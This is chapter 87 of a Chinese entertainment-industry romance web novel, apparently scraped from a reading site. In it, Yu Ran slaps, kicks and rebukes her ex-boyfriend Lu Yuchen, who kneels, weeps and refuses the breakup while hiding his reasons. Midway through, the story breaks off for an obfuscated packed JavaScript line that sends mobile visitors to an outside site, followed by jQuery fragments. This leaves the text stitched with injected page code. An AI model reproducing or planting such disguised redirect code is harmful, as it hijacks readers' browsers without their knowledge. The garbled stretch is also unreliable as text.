87. 第八十七只狼

作品:《顶流作者是我梦男[娱乐圈]

    这场重逢的戏码,在清脆的巴掌声中骤然升温,又骤然降至冰点。


    路聿琛缓缓转过头,舌尖抵了抵发麻的腮帮,尝到一丝腥甜。那是刚才接吻时,郁燃咬破他舌尖留下的血。


    他看着她,眼底翻涌的情绪一点点沉淀,凝成一种更深更沉的晦暗。他没回答她的质问,只是那样静默地看着,像要把她这一刻的模样刻进骨子里。


    郁燃见他这副模样,一股火直往上窜。


    又来了,又是这副死样子。不说话,就这么盯着她,跟个鬼似的。保不齐下一秒就要开始卖惨,说脸好疼,然后委屈巴巴望着她,等她心软。


    明明她在所有人那里窥探到的路聿琛,都不是这样的。


    凭什么?凭什么一面对她,就是这幅隐忍克制欲言又止的假模样!


    想到这儿,郁燃直接抬手,对着他另一边完好的脸,利落地又扇了一巴掌。


    “啪”一声脆响,路聿琛的头被打偏过去,脸颊很快红肿起来。他依旧没吭声,只是慢慢抬手,把唇角沾染上属于她的口红痕迹,抿在指腹。


    他说:“对称了。”


    就像以前,他们第一次接吻之后,郁燃在他左右脸上各亲了一下,然后露出满意的表情。


    这是她的小怪癖,他记得的。


    郁燃哪知道他心里翻腾着这些陈年旧事,低骂一句:“神经病。”


    说完,她不再看他,弯腰拎起那双折磨人的高跟鞋,翘着二郎腿坐到角落的沙发上。


    路聿琛立刻跟了过去,却没坐在旁边,而是垂头单膝跪在她面前。


    这副卑微的姿态反倒勾起了郁燃一点兴趣。她涂着裸色甲油的脚尖轻轻点了点他挺括的西装肩线,好整以暇地问:“小路总还有什么事?”


    路聿琛喉结滚了滚,声音干涩:“就非得这么叫我吗?”


    “那你希望我叫什么?”郁燃居高临下睨着他,红唇弯出讽刺的弧度,“分手那天我喊的那些,路少、路总、路大编剧……你都不满意?现在又多了个金主爸爸的选项。来,你挑一个。”


    路聿琛对她的挖苦充耳不闻,只是喃喃重复:“我没同意分手。”


    郁燃简直要气笑:“说什么奇妙小咕噜话呢?你单方面不同意也不好使。”


    听到这话,路聿琛支在地上的那条腿也跪了下来,几乎是以一种虔诚的姿态,握住了她纤细的脚踝。


    他仰起脸,眼底泛着湿润的光,轻声说:“你心里有沈酌,你把我当替代品,当乐子,我都不在意了。”他声音沙哑,带着颤,“只要不分手,我什么都可以。”


    这一番话说得姿态卑微无比,几乎是把自己碾进泥里,只求她能看他一眼。


    郁燃惊讶之前那个对沈酌醋到不行的路聿琛,居然当下能说出这种话。


    她半阖着眼睛,斜睨他:“做守夜太监,愿意吗?”


    路聿琛几乎是瞬间懂了她的意思,不可置信地抬眼,握着她脚踝的手紧了又松。


    他不知是低估了郁燃放狠话的级别,还是高估了自己在这段关系里能退步的程度。


    但让他眼睁睁看着郁燃和别人……他做不到。


    一股莫大的委屈感窜上心头,眼泪开始不受控制聚集迅速盈满眼眶,模糊了眼前这个让他痛彻心扉又无法割舍的人。


    他死死咬住牙关,下颌绷成一道隐忍的弧线,喉结艰难地滚动着,试图将那不争气的湿意逼退回去。


    就在情绪快要失控的刹那,郁燃抬脚不轻不重地踹了他一下。


    “我们谈点正事。”她的声线冰冷的不近人情,“现在把眼泪收回去。”


    这道指令,路聿琛几乎是条件反射般地执行。他猛地屏住呼吸,别开头,用袖子狠狠抹了一把脸。当他再转回头时,虽然眼眶通红,但声音已经强行稳住:“你说。”


    “你送我的生日礼物,我收下了。”


    他黯淡的眼底像是被投入一颗火星,燃起一簇微弱的希冀:“如果你需要我做什么……”


    “不用,怎么做是我的事。”郁燃打断他,“你也不用多想,这就算是你还我的,我不会道谢。更不会影响你和我之间的关系。你和我,还是前任。”


    路聿琛眼底那簇刚刚燃起的火苗被当头浇熄,只剩一片死寂的灰烬。脸色惨白如纸,他垂着头,一言不发。


    郁燃是从海岛玩完回来,抽空回了趟榆城陪爸妈呆了两天。毕竟接下来大半年,都没时间回家了。


    临走前,她独自回了城里那套小房子。


    刚走到门口,正好对门的李哥牵着他五六岁的小儿子出门。李哥一见她,眼睛瞪得溜圆:“哎哟!郁燃!可算见着你了!现在可是大明星了,这个签名必须给哥安排上!”


    在这栋老楼里住了这么多年,从大学起就是邻居,李嫂以前没少给独居的郁燃送自己烤的饼干、包的饺子。也多亏了李哥这位热心邻居帮衬,她这常年空置的房子才没出什么岔子。听说有次私生摸到门口,还是李哥举着扫把给凶悍地赶跑的。


    郁燃脸上绽开真切的笑意,一边爽快答应,一边弯腰摸了摸小男孩软软的头发。孩子仰起小脸乖乖任她摸,一点也不认生。


    “对了,”李哥突然想起什么,拍了拍脑袋,“前几天有个男的来敲你家门,手里拿着个文件袋,貌似找你有事。我看他穿得挺体面,不像什么乱七八糟的人,就让他把东西放我这儿了。这不是看你一直没回来嘛,我们又正好计划昨天去郊区露营,怕跟你错过了,毕竟你难得回来一趟。我就跟你嫂子商量了下,先给你放门口那个老信箱里了,还往你门缝塞了张纸条提醒。嘿,正好碰上你了,当面跟你说一声。”


    郁燃连忙道谢,进屋找了张自己比较满意的海报,认真签上名送给李哥。


    等李哥牵着蹦蹦跳跳的孩子离开后,郁燃才看向门口那个早已生锈,几乎被遗忘的老式信箱。


    他们这种老小区,每家每户门口都有个小信箱,算是还没完全消失的一种城市特色。


    她翻箱倒柜好一阵,才在抽屉角落找出那把同样锈迹斑斑的小钥匙。


    打开信箱,里面果然躺着一个牛皮纸文件袋,入手还有些分量。信箱里还有些别的杂七杂八的东西,郁燃一股脑全掏了出来。


    那袋子外面只写了四个字:生日礼物。


    她把文件袋里的东西倒在客厅桌上——是一叠照片和厚厚的一打文件。


    这是路聿琛送她的28岁生日礼物。即便没有署名,她也一清二楚。


    这种雷霆手段,让她感到一种诡异的熟悉。


    郁燃看着依旧跪在面前的男人,心里盘旋已久的疑问脱口而出:“上次湖泰倒台,是你的手笔,对不对?”</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16787861|176744||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    路聿琛垂着眼睫:“是我。”


    “沈酌。”


    “是我做的。”


    “胡列烈。”


    “还是我。”路聿琛抬起头,目光坦诚,“你以后问我什么,我都会说实话,不会再瞒你。”


    “好啊,”郁燃向后靠进沙发,双臂环抱,“那我问你,你现在和路兴国上演父慈子孝的戏码,是为什么?”


    路聿琛的目光倏地一沉,所有光亮都被吸入了无底深渊。他下颌线绷紧,嘴唇几不可察地颤了颤,隔了好一会儿,那目光才重新聚拢,带着一种近乎绝望的恳求望向她,艰涩地开口:“这个……能不能再给我一点时间?你等我……”


    话没说完,郁燃直接一脚蹬在他肩上。路聿琛被踹得身子一晃,向后踉跄了一下。


    “等你?”


    “路聿琛!你凭什么让我等你!”


    郁燃咬牙切齿,趁他还没稳住身形,直接扑上去把他推倒在地毯上,揪住他内搭的领口,“我一个看片都要开四倍速的人,没那个耐心陪你耗!”


    路聿琛西装里是件黑色高领毛衣,因为郁燃粗暴的动作,领口被拽得下滑到锁骨。


    借着头顶昏暗的光线,郁燃清晰地看到他锁骨周围布满痕迹,一路蔓延到更下方的皮肤。


    一小块一小块,分布不规则,像暗淡的梅花烙在雪里,分外显眼,有些已经结痂,显得有几分狰狞。


    郁燃眯起眼,想凑近看得更清楚,路聿琛却猛地侧过身,迅速把领口从她手中拉回原位。


    那些痕迹被掩得一干二净。


    路聿琛视线转向郁燃锁骨处的珠宝,生硬地转移话题:“你戴的这条项链……你喜欢吗?我买下来送给你。”


    他的语气和路兴国截然不同,不带丝毫侮辱,只是单纯的询问。


    可这话却再次精准点燃了郁燃的怒火,“买你个大头鬼!留着送你那位未婚妻去吧!”


    她说完立刻起身,准备穿上高跟鞋走人。


    这段时间路家八卦新闻满天飞,徐呦呦天天给她发消息诉苦,说自己一身清誉全被路兴国那个老混蛋给毁了。郁燃说那你辟谣呗,徐呦呦却说,路聿琛提前跟她打过招呼,让她暂时别管,事后会补偿她。


    正因为知道内情,郁燃才更希望路聿琛能亲口向她坦白其中的缘由。


    结果这傻子呢?一到关键处就装哑巴!


    “未婚妻”这话说出来,既恶心了她自己,更膈应了一直极力抗拒这关系的徐呦呦。


    郁燃越想越气,穿鞋的动作顿住。下一秒,她干脆把鞋又脱了下来,抄在手里,回身就朝那个还跪在地毯上的人砸去。


    “邦邦”两下,坚硬的鞋跟结实砸在路聿琛的后背上,昂贵的西装面料被刮出丝痕。


    说到底还是心软了,她不得不承认,路聿琛这副打不还手骂不还口的模样对她依旧有效。


    至少她没把高跟鞋往他脸上招呼。


    门被重重摔上。


    路聿琛望着郁燃决绝离开的背影,眼眶阵阵发酸。后背的疼痛抵不过万分之一心脏的抽疼,他紧抿着唇低下头,强忍的泪水终于失控,大颗砸在地毯上,顷刻间被吸收殆尽,不留一丝痕迹。


    不能说,还不能说。


    路聿琛,你不能把郁燃拖进来。


    这不公平,也不安全。